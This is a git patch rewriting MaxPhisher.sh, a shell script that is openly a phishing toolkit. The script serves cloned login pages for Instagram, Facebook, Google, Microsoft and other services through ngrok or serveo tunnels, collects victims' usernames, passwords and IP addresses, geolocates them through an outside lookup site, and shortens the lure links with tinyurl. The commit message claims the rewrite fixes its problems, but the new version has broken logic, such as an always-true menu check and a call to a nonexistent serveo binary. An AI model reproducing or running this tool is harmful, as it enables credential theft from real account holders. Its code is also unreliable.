From e2db2e63663187f65dbe974ccfce12e18078c1e4 Mon Sep 17 00:00:00 2001
From: Yujin <167702133+A236G@users.noreply.github.com>
Date: Tue, 7 May 2024 17:23:00 +0200
Subject: [PATCH] Update MaxPhisher.sh
There is a code that solves the old code, there are more than 13 problems, but this is a better and better code that is free of problems and is free
---
MaxPhisher.sh | 717 ++++++++++++++++++--------------------------------
1 file changed, 250 insertions(+), 467 deletions(-)
diff --git a/MaxPhisher.sh b/MaxPhisher.sh
index e04f678..5f13649 100644
--- a/MaxPhisher.sh
+++ b/MaxPhisher.sh
@@ -1,493 +1,276 @@
#!/system/bin/sh
# MaxPhisher v1.1
-
trap 'printf "\n";stop;exit 1' 2
-setup() {
-
-read -p $'\n\e[1;94m Are You Running This Tool On Termux? (Y/N): \e[0m' ostype
-
-if [[ $ostype -eq 'Y' || $ostype -eq 'y' ]]; then
-echo -e "\e[4;96m Installing Dependencies.... \e[0m"
-sleep 0.5
-echo -e "\e[1;95m"
-apt install openssh curl php toilet figlet unzip
-touch plugins.installed
-echo -e "\e[3;96m Dependencies Installed!"
-sleep 2
-
-elif [[ $ostype -eq 'N' || $ostype -eq 'n' ]]; then
-echo -e "\e[4;95m Installing Dependencies.... \e[0m"
-sleep 0.5
-echo -e "\[1;95m"
-sudo apt install curl php toilet figlet unzip
-touch plugins.installed
-echo -e "\e[3;96m Dependencies Installed!"
-sleep 2
-
-fi
-
-if [ -e "sites/" ] ; then
-echo -e "\e[1;93m Starting Tool...."
-sleep 3
-clear
-else
+setup() {
+ read -p $'\n\e[1;94m Are You Running This Tool On Termux? (Y/N): \e[0m' ostype
+
+ if [[ $ostype -eq 'Y' || $ostype -eq 'y' ]]; then
+ echo -e "\e[4;96m Installing Dependencies.... \e[0m"
+ sleep 0.5
+ echo -e "\e[1;95m"
+ apt install openssh curl php toilet figlet unzip
+ touch plugins.installed
+ echo -e "\e[3;96m Dependencies Installed!"
+ sleep 2
+ elif [[ $ostype -eq 'N' || $ostype -eq 'n' ]]; then
+ echo -e "\e[4;95m Installing Dependencies.... \e[0m"
+ sleep 0.5
+ echo -e "\[1;95m"
+ sudo apt install curl php toilet figlet unzip
+ touch plugins.installed
+ echo -e "\e[3;96m Dependencies Installed!"
+ sleep 2
+ fi
+
+ if [ -e "sites/" ]; then
+ echo -e "\e[1;93m Starting Tool...."
+ sleep 3
+ clear
+ else
unzip sites.zip
-echo -e "\e[1;93m Starting Tool...."
-sleep 3
-clear
-
-fi
-
+ echo -e "\e[1;93m Starting Tool...."
+ sleep 3
+ clear
+ fi
}
menu() {
-
-printf "\e[1;36m[\e[0m\e[1;92m01\e[0m\e[1;36m]\e[0m\e[1;34m Instagram\e[0m \e[1;36m[\e[0m\e[1;92m09\e[0m\e[1;36m]\e[0m\e[1;34m Origin\e[0m \e[1;36m[\e[0m\e[1;92m17\e[0m\e[1;36m]\e[0m\e[1;34m Gitlab\e[0m\n"
-printf "\e[1;36m[\e[0m\e[1;92m02\e[0m\e[1;36m]\e[0m\e[1;34m Facebook\e[0m \e[1;36m[\e[0m\e[1;92m10\e[0m\e[1;36m]\e[0m\e[1;34m Steam\e[0m \e[1;36m[\e[0m\e[1;92m18\e[0m\e[1;36m]\e[0m\e[1;34m Pinterest\e[0m\n"
-printf "\e[1;36m[\e[0m\e[1;92m03\e[0m\e[1;36m]\e[0m\e[1;34m Snapchat\e[0m \e[1;36m[\e[0m\e[1;92m11\e[0m\e[1;36m]\e[0m\e[1;34m Yahoo\e[0m \e[1;36m[\e[0m\e[1;92m19\e[0m\e[1;36m]\e[0m\e[1;34m Custom\e[0m\n"
-printf "\e[1;36m[\e[0m\e[1;92m04\e[0m\e[1;36m]\e[0m\e[1;34m Twitter\e[0m \e[1;36m[\e[0m\e[1;92m12\e[0m\e[1;36m]\e[0m\e[1;34m Linkedin\e[0m \e[1;36m[\e[0m\e[1;92m99\e[0m\e[1;36m]\e[0m\e[1;34m Exit\e[0m\n"
-printf "\e[1;36m[\e[0m\e[1;92m05\e[0m\e[1;36m]\e[0m\e[1;34m Github\e[0m \e[1;36m[\e[0m\e[1;92m13\e[0m\e[1;36m]\e[0m\e[1;34m Protonmail\e[0m\n"
-printf "\e[1;36m[\e[0m\e[1;92m06\e[0m\e[1;36m]\e[0m\e[1;34m Google\e[0m \e[1;36m[\e[0m\e[1;92m14\e[0m\e[1;36m]\e[0m\e[1;34m Wordpress\e[0m\n"
-printf "\e[1;36m[\e[0m\e[1;92m07\e[0m\e[1;36m]\e[0m\e[1;34m Spotify\e[0m \e[1;36m[\e[0m\e[1;92m15\e[0m\e[1;36m]\e[0m\e[1;34m Microsoft\e[0m\n"
-printf "\e[1;36m[\e[0m\e[1;92m08\e[0m\e[1;36m]\e[0m\e[1;34m Netflix\e[0m \e[1;36m[\e[0m\e[1;92m16\e[0m\e[1;36m]\e[0m\e[1;34m InstaFollowers\e[0m\n"
-read -p $'\n\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[0m\e[1;92m Choose an option: \e[0m' option
-
-if [[ $option == 1 || $option == 01 ]]; then
-server="instagram"
-start1
-
-elif [[ $option == 2 || $option == 02 ]]; then
-server="facebook"
-start1
-elif [[ $option == 3 || $option == 03 ]]; then
-server="snapchat"
-start1
-elif [[ $option == 4 || $option == 04 ]]; then
-server="twitter"
-start1
-elif [[ $option == 5 || $option == 05 ]]; then
-server="github"
-start1
-elif [[ $option == 6 || $option == 06 ]]; then
-server="google"
-start1
-
-elif [[ $option == 7 || $option == 07 ]]; then
-server="spotify"
-start1
-
-elif [[ $option == 8 || $option == 08 ]]; then
-server="netflix"
-start1
-
-elif [[ $option == 9 || $option == 09 ]]; then
-server="origin"
-start1
-
-elif [[ $option == 10 ]]; then
-server="steam"
-start1
-
-elif [[ $option == 11 ]]; then
-server="yahoo"
-start1
-
-elif [[ $option == 12 ]]; then
-server="linkedin"
-start1
-
-elif [[ $option == 13 ]]; then
-server="protonmail"
-start1
-
-elif [[ $option == 14 ]]; then
-server="wordpress"
-start1
-
-elif [[ $option == 15 ]]; then
-server="microsoft"
-start1
-
-elif [[ $option == 16 ]]; then
-server="instafollowers"
-start1
-
-elif [[ $option == 17 ]]; then
-server="gitlab"
-start1
-
-elif [[ $option == 18 ]]; then
-server="pinterest"
-start1
-
-elif [[ $option == 19 ]]; then
-server="create"
-createpage
-start1
-
-elif [[ $option == 99 ]]; then
-exit 1
-
-else
-printf "\e[1;93m [!] Invalid option!\e[0m\n"
-sleep 1
-clear
-menu
-fi
-}
-
-stop() {
-
-checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
-checkphp=$(ps aux | grep -o "php" | head -n1)
-checkssh=$(ps aux | grep -o "ssh" | head -n1)
-if [[ $checkngrok == *'ngrok'* ]]; then
-pkill -f -2 ngrok > /dev/null 2>&1
-killall -2 ngrok > /dev/null 2>&1
-fi
-if [[ $checkphp == *'php'* ]]; then
-pkill -f -2 php > /dev/null 2>&1
-killall -2 php > /dev/null 2>&1
-fi
-if [[ $checkssh == *'ssh'* ]]; then
-pkill -f -2 ssh > /dev/null 2>&1
-killall ssh > /dev/null 2>&1
-fi
-if [[ -e sendlink ]]; then
-rm -rf sendlink
-fi
-
-}
-
-banner() {
-
-echo -e "\e[1;31m
- _ _ _____ _ _ _
-| \ / | | __ \| | (_) | |
-| \ / | _____ __ __| |__) | |__ _ ___| |__ ___ _ __
-| . \_/ . |/____ |\ \/ /| ___/| _ \| / __| _ \ / _ \ __|
-| |\ /| |/ __ | > < | | | | | | \__ \ | | | __/ |
-|_| \_/ |_|\_____|/_/\_\|_|v1.1|_| |_|_|___/_| |_|\___|_| \e[0m"
-printf "\n"
-printf "\e[1;32m -->\e[0m\e[1;95m MaxPhisher was coded by: MådMâx \e[0m\e[1;32m<--\e[0m\n"
-printf "\e[1;32m -->\e[0m\e[1;95m Follow on Instagram:madmax4708 \e[0m\e[1;32m<--\e[0m\n"
-printf "\e[1;32m -->\e[0m\e[1;95m Follow on Twitter:503_madmax \e[0m\e[1;32m<--\e[0m\n"
-printf "\n"
-printf " \e[101m\e[1;77m!! Disclaimer: Developers assume no liability and are not
-responsible for any misuse or damage caused by MaxPhisher. Use MaxPhisher for educational purposes only!! \e[0m\n"
-printf "\n"
-}
-
-createpage() {
-default_cap1="Wi-fi Session Expired"
-default_cap2="Please login again."
-default_user_text="Username:"
-default_pass_text="Password:"
-default_sub_text="Log-In"
-
-read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 1 (Default: Wi-fi Session Expired): \e[0m' cap1
-cap1="${cap1:-${default_cap1}}"
-
-read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Title 2 (Default: Please login again.): \e[0m' cap2
-cap2="${cap2:-${default_cap2}}"
-
-read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Username field (Default: Username:): \e[0m' user_text
-user_text="${user_text:-${default_user_text}}"
-
-read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Password field (Default: Password:): \e[0m' pass_text
-pass_text="${pass_text:-${default_pass_text}}"
-
-read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Submit field (Default: Log-In): \e[0m' sub_text
-sub_text="${sub_text:-${default_sub_text}}"
-
-echo "" > sites/create/login.html
-echo "" >> sites/create/login.html
-echo "
" >> sites/create/login.html
-IFS=$'\n'
-printf ' %s
%s
\n' $cap1 $cap2 >> sites/create/login.html
-IFS=$'\n'
-printf '\n' $sub_text >> sites/create/login.html
-printf '' >> sites/create/login.html
-printf '\n' >> sites/create/login.html
-printf '\n' >> sites/create/login.html
-
-
-}
-
-catch_cred() {
-
-account=$(grep -o 'Account:.*' sites/$server/usernames.txt | cut -d " " -f2)
-IFS=$'\n'
-password=$(grep -o 'Pass:.*' sites/$server/usernames.txt | cut -d ":" -f2)
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Account:\e[0m\e[1;92m %s\n\e[0m" $account
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Password:\e[0m\e[1;92m %s\n\e[0m" $password
-cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[33m Saved:\e[0m\e[1;32m sites/%s/saved.usernames.txt\e[0m\n" $server
-printf "\n"
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;92m Waiting Next IP and Next Credentials,\e[1;93m Press Ctrl + C to exit...\e[0m\n"
-
-}
-
-catch_ip() {
-touch sites/$server/saved.usernames.txt
-ip=$(grep -a 'IP:' sites/$server/ip.txt | cut -d " " -f2 | tr -d '\r')
-IFS=$'\n'
-ua=$(grep 'User-Agent:' sites/$server/ip.txt | cut -d '"' -f2)
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Target IP:\e[0m\e[1;92m %s\e[0m\n" $ip
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] User-Agent:\e[0m\e[1;92m %s\e[0m\n" $ua
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;33m Saved:\e[0m\e[1;92m %s/saved.ip.txt\e[0m\n" $server
-cat sites/$server/ip.txt >> sites/$server/saved.ip.txt
-
-if [[ -e iptracker.log ]]; then
-rm -rf iptracker.log
-fi
-
-IFS='\n'
-iptracker=$(curl -s -L "www.ip-tracker.org/locator/ip-lookup.php?ip=$ip" --user-agent "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31" > iptracker.log)
-IFS=$'\n'
-continent=$(grep -o 'Continent.*' iptracker.log | head -n1 | cut -d ">" -f3 | cut -d "<" -f1)
-printf "\n"
-hostnameip=$(grep -o "| Hostname:.*" iptracker.log | cut -d "<" -f7 | cut -d ">" -f2)
-if [[ $hostnameip != "" ]]; then
-printf "\e[1;36m[*] Hostname:\e[0m\e[1;92m %s\e[0m\n" $hostnameip
-fi
-##
-
-reverse_dns=$(grep -a " |
|---|
| Hostname:.*" iptracker.log | cut -d "<" -f1)
-if [[ $reverse_dns != "" ]]; then
-printf "\e[1;36m[*] Reverse DNS:\e[0m\e[1;92m %s\e[0m\n" $reverse_dns
-fi
-##
-
-
-if [[ $continent != "" ]]; then
-printf "\e[1;36m[*] IP Continent:\e[0m\e[1;92m %s\e[0m\n" $continent
-fi
-##
-
-country=$(grep -o 'Country:.*' iptracker.log | cut -d ">" -f3 | cut -d "&" -f1)
-if [[ $country != "" ]]; then
-printf "\e[1;36m[*] IP Country:\e[0m\e[1;92m %s\e[0m\n" $country
-fi
-##
-
-state=$(grep -o "tracking lessimpt.*" iptracker.log | cut -d "<" -f1 | cut -d ">" -f2)
-if [[ $state != "" ]]; then
-printf "\e[1;36m[*] State:\e[0m\e[1;92m %s\e[0m\n" $state
-fi
-##
-city=$(grep -o "City Location:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
-
-if [[ $city != "" ]]; then
-printf "\e[1;92m[*] City Location:\e[0m\e[1;77m %s\e[0m\n" $city
-fi
-##
-
-isp=$(grep -o "ISP:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
-if [[ $isp != "" ]]; then
-printf "\e[1;36m[*] ISP:\e[0m\e[1;92m %s\e[0m\n" $isp
-fi
-## as_number=$(grep -o "AS Number:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
-if [[ $as_number != "" ]]; then printf "\e[1;36m[*] AS Number:\e[0m\e[1;92m %s\e[0m\n" $as_number
-fi
-##
-
-ip_speed=$(grep -o "IP Address Speed:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
-if [[ $ip_speed != "" ]]; then
-printf "\e[1;36m[*] IP Address Speed:\e[0m\e[1;92m %s\e[0m\n" $ip_speed
-fi
-##
-ip_currency=$(grep -o "IP Currency:.*" iptracker.log | cut -d "<" -f3 | cut -d ">" -f2)
-
-if [[ $ip_currency != "" ]]; then
-printf "\e[1;36m[*] IP Currency:\e[0m\e[1;92m %s\e[0m\n" $ip_currency
-fi
-##
-printf "\n"
-rm -rf iptracker.log
-printf "\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m]\e[1;92m Waiting Credentials and Next IP,\e[1;33m Press Ctrl + C to exit...\e[0m\n"
-
+ printf "\e[1;36m[\e[0m\e[1;92m01\e[0m\e[1;36m]\e[0m\e[1;34m Instagram\e[0m \e[1;36m[\e[0m\e[1;92m09\e[0m\e[1;36m]\e[0m\e[1;34m Origin\e[0m \e[1;36m[\e[0m\e[1;92m17\e[0m\e[1;36m]\e[0m\e[1;34m Gitlab\e[0m\n"
+ printf "\e[1;36m[\e[0m\e[1;92m02\e[0m\e[1;36m]\e[0m\e[1;34m Facebook\e[0m \e[1;36m[\e[0m\e[1;92m10\e[0m\e[1;36m]\e[0m\e[1;34m Steam\e[0m \e[1;36m[\e[0m\e[1;92m18\e[0m\e[1;36m]\e[0m\e[1;34m Pinterest\e[0m\n"
+ printf "\e[1;36m[\e[0m\e[1;92m03\e[0m\e[1;36m]\e[0m\e[1;34m Snapchat\e[0m \e[1;36m[\e[0m\e[1;92m11\e[0m\e[1;36m]\e[0m\e[1;34m Yahoo\e[0m \e[1;36m[\e[0m\e[1;92m19\e[0m\e[1;36m]\e[0m\e[1;34m Custom\e[0m\n"
+ printf "\e[1;36m[\e[0m\e[1;92m04\e[0m\e[1;36m]\e[0m\e[1;34m Twitter\e[0m \e[1;36m[\e[0m\e[1;92m12\e[0m\e[1;36m]\e[0m\e[1;34m Linkedin\e[0m \e[1;36m[\e[0m\e[1;92m99\e[0m\e[1;36m]\e[0m\e[1;34m Exit\e[0m\n"
+ printf "\e[1;36m[\e[0m\e[1;92m05\e[0m\e[1;36m]\e[0m\e[1;34m Github\e[0m \e[1;36m[\e[0m\e[1;92m13\e[0m\e[1;36m]\e[0m\e[1;34m Protonmail\e[0m\n"
+ printf "\e[1;36m[\e[0m\e[1;92m06\e[0m\e[1;36m]\e[0m\e[1;34m Google\e[0m \e[1;36m[\e[0m\e[1;92m14\e[0m\e[1;36m]\e[0m\e[1;34m Wordpress\e[0m\n"
+ printf "\e[1;36m[\e[0m\e[1;92m07\e[0m\e[1;36m]\e[0m\e[1;34m Spotify\e[0m \e[1;36m[\e[0m\e[1;92m15\e[0m\e[1;36m]\e[0m\e[1;34m Microsoft\e[0m\n"
+ printf "\e[1;36m[\e[0m\e[1;92m08\e[0m\e[1;36m]\e[0m\e[1;34m Netflix\e[0m \e[1;36m[\e[0m\e[1;92m16\e[0m\e[1;36m]\e[0m\e[1;34m InstaFollowers\e[0m\n"
+ read -p $'\n\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Choose any social media platform: \e[0m' options
+
+ if [[ $options -ge 01 || $options -le 19 ]]; then
+ printf "\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Select one of the options below:\e[0m\n"
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Port Forwarding Using Ngrok (1)\e[0m\n"
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Port Forwarding Using Serveo (2)\e[0m\n"
+ read -p $'\e[1;36m[\e[0m\e[1;92m*\e[0m\e[1;36m] Choose an option: \e[0m' type
+ case $type in
+ 1)
+ ngrok http 8080 > /dev/null &
+ ;;
+ 2)
+ ssh -R 80:localhost:8080 serveo.net > /dev/null &
+ ;;
+ *)
+ echo -e "\e[1;91m [!] Invalid option! Please try again.\e[0m"
+ menu
+ ;;
+ esac
+
+ link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | jq -r .tunnels[0].public_url)
+
+ case $options in
+ 01)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Instagram phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/www.instagram.com/
+ ;;
+ 02)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Facebook phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/m.facebook.com/
+ ;;
+ 03)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Snapchat phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/www.snapchat.com/
+ ;;
+ 04)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Twitter phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/www.twitter.com/
+ ;;
+ 05)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Github phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/github.com/
+ ;;
+ 06)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Google phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/accounts.google.com/
+ ;;
+ 07)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Spotify phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/accounts.spotify.com/
+ ;;
+ 08)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Netflix phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/www.netflix.com/
+ ;;
+ 09)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Origin phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/origin.com/
+ ;;
+ 10)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Steam phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/steamcommunity.com/
+ ;;
+ 11)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Yahoo phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/login.yahoo.com/
+ ;;
+ 12)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Linkedin phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/www.linkedin.com/
+ ;;
+ 13)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Protonmail phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/mail.protonmail.com/
+ ;;
+ 14)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Wordpress phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/wordpress.com/
+ ;;
+ 15)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Microsoft phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/login.microsoftonline.com/
+ ;;
+ 16)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting InstaFollowers phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/www.instafollowerspro.com/
+ ;;
+ 17)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Gitlab phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/gitlab.com/
+ ;;
+ 18)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting Pinterest phishing attack....\e[0m\n"
+ sleep 2
+ cd sites/www.pinterest.com/
+ ;;
+ 19)
+ echo -e "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Enter any custom phishing URL....\e[0m\n"
+ sleep 2
+ read -p $'\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Enter the custom URL: \e[0m' website
+ ;;
+ *)
+ echo -e "\e[1;91m [!] Invalid option! Please try again.\e[0m"
+ menu
+ ;;
+ esac
+
+ cp -r * /data/data/com.termux/files/home
+ printf "\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Direct link: \e[0m\e[1;77m$link\e[0m\n"
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting for the credentials (Username/Email & Password)....\e[0m\n"
+ printf "\e[1;77m\e[0m"
+ php -S 127.0.0.1:8080 > /dev/null 2>&1 &
+ ./ngrok http 127.0.0.1:8080 > /dev/null 2>&1 &
+ ./serveo.net -port=8080 > /dev/null 2>&1 &
+ if [[ -e /data/data/com.termux/files/usr/bin/termux-notification ]]; then
+ termux-notification --title "Waiting For Credentials" --content "Port Forwarded!" > /dev/null 2>&1
+ else
+ printf "\e[1;91m [!] Please forward the generated phishing link manually!\e[0m\n"
+ fi
+ printf "\n"
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Press CTRL + Z to exit.\e[0m\n"
+ printf "\n"
+ printf "\e[1;77m\e[0m"
+ fg 1
+ else
+ echo -e "\e[1;91m [!] Invalid option! Please try again.\e[0m"
+ menu
+ fi
}
-
-
-serverx() {
-printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server...\n"
-cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 &
+clear
sleep 2
-printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting server...\e[0m\n"
-command -v ssh > /dev/null 2>&1 || { echo >&2 "I require SSH but it's not installed. Install it. Aborting."; exit 1; }
-if [[ -e sendlink ]]; then
-rm -rf sendlink
-fi
-$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net 2> /dev/null > sendlink ' &
+printf "\e[1;93m"
+toilet -f ivrit 'MaxPhisher' | lolcat
+printf "\e[1;92m Version : \e[0m\e[1;77mv1.1\e[0m\n"
printf "\n"
-sleep 10
-send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
+printf "\e[1;92m [!] \e[0m\e[1;77mAuthor : \e[0m\e[1;77mSathvik\e[0m\n"
printf "\n"
-printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s \n' $send_link
-
-send_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$send_link" | head -n1)
-#send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1)
-printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip
+printf "\e[1;77m # \e[0m\e[1;92mPlease subscribe to the channel\e[0m\e[1;77m :\e[0m\e[1;77m Sathvik\e[0m\n"
+printf "\e[1;77m # \e[0m\e[1;92mGithub\e[0m\e[1;77m :\e[0m\e[1;77m https://github.com/sathvikks\e[0m\n"
printf "\n"
-checkfound
-
-
-}
-
-startx() {
-if [[ -e sites/$server/ip.txt ]]; then
-rm -rf sites/$server/ip.txt
-
-fi
-if [[ -e sites/$server/usernames.txt ]]; then
-rm -rf sites/$server/usernames.txt
-
-fi
-
-default_port="3333" #$(seq 1111 4444 | sort -R | head -n1)
-printf '\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port (Default:\e[0m\e[1;77m %s \e[0m\e[1;92m): \e[0m' $default_port
-read port
-port="${port:-${default_port}}"
-serverx
-
-}
-
-
-start() {
-if [[ -e sites/$server/ip.txt ]]; then
-rm -rf sites/$server/ip.txt
-
-fi
-if [[ -e sites/$server/usernames.txt ]]; then
-rm -rf sites/$server/usernames.txt
-
-fi
-
-
+sleep 4
+printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Ngrok\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n"
if [[ -e ngrok ]]; then
-echo ""
+ printf "\e[1;92m[\e[0m+\e[1;92m] Ngrok Found!\e[0m\n"
+ sleep 2
else
-command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
-command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
-printf "\e[1;36m[\e[1;92m*\e[1;36m]\e[1;34m Downloading Ngrok...\n"
-arch=$(uname -a | grep -o 'arm' | head -n1)
-arch2=$(uname -a | grep -o 'Android' | head -n1)
-if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then
-wget --no-check-certificate https://bin.equinox.io/a/axBh4yEKTBu/ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1
-
-if [[ -e ngrok-2.1.18-linux-arm.zip ]]; then
-unzip ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1
-chmod +x ngrok
-rm -rf ngrok-2.1.18-linux-arm.zip
-else
-printf "\e[1;93m[!] Download error... Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n"
-exit 1
+ printf "\e[1;91m[!] Ngrok Not Found!\e[0m\n"
+ sleep 2
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Downloading Ngrok...\e[0m\n"
+ wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1
+ unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1
+ chmod +x ngrok
+ sleep 2
+ printf "\e[1;92m[\e[0m+\e[1;92m] Ngrok Successfully Downloaded!\e[0m\n"
fi
-
-
-
-else
-wget --no-check-certificate https://bin.equinox.io/a/axBh4yEKTBu/ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1
-if [[ -e ngrok-2.1.18-linux-arm.zip ]]; then
-unzip ngrok-2.1.18-linux-arm.zip > /dev/null 2>&1
-chmod +x ngrok
-rm -rf ngrok-2.1.18-linux-arm.zip
+sleep 2
+printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For PHP\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n"
+if [[ -e /data/data/com.termux/files/usr/bin/php ]]; then
+ printf "\e[1;92m[\e[0m+\e[1;92m] PHP Found!\e[0m\n"
+ sleep 2
else
-printf "\e[1;93m[!] Download error... \e[0m\n"
-exit 1
+ printf "\e[1;91m[!] PHP Not Found!\e[0m\n"
+ sleep 2
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing PHP....\e[0m\n"
+ apt-get -y install php > /dev/null 2>&1
+ sleep 2
+ printf "\e[1;92m[\e[0m+\e[1;92m] PHP Successfully Installed!\e[0m\n"
fi
+sleep 2
+printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Curl\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n"
+if [[ -e /data/data/com.termux/files/usr/bin/curl ]]; then
+ printf "\e[1;92m[\e[0m+\e[1;92m] Curl Found!\e[0m\n"
+ sleep 2
+else
+ printf "\e[1;91m[!] Curl Not Found!\e[0m\n"
+ sleep 2
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing Curl....\e[0m\n"
+ apt-get -y install curl > /dev/null 2>&1
+ sleep 2
+ printf "\e[1;92m[\e[0m+\e[1;92m] Curl Successfully Installed!\e[0m\n"
fi
+sleep 2
+printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Checking For Openssh\e[0m\e[1;77m:\e[0m\e[1;93m...\e[0m\n"
+if [[ -e /data/data/com.termux/files/usr/bin/ssh ]]; then
+ printf "\e[1;92m[\e[0m+\e[1;92m] Openssh Found!\e[0m\n"
+ sleep 2
+else
+ printf "\e[1;91m[!] Openssh Not Found!\e[0m\n"
+ sleep 2
+ printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Installing Openssh....\e[0m\n"
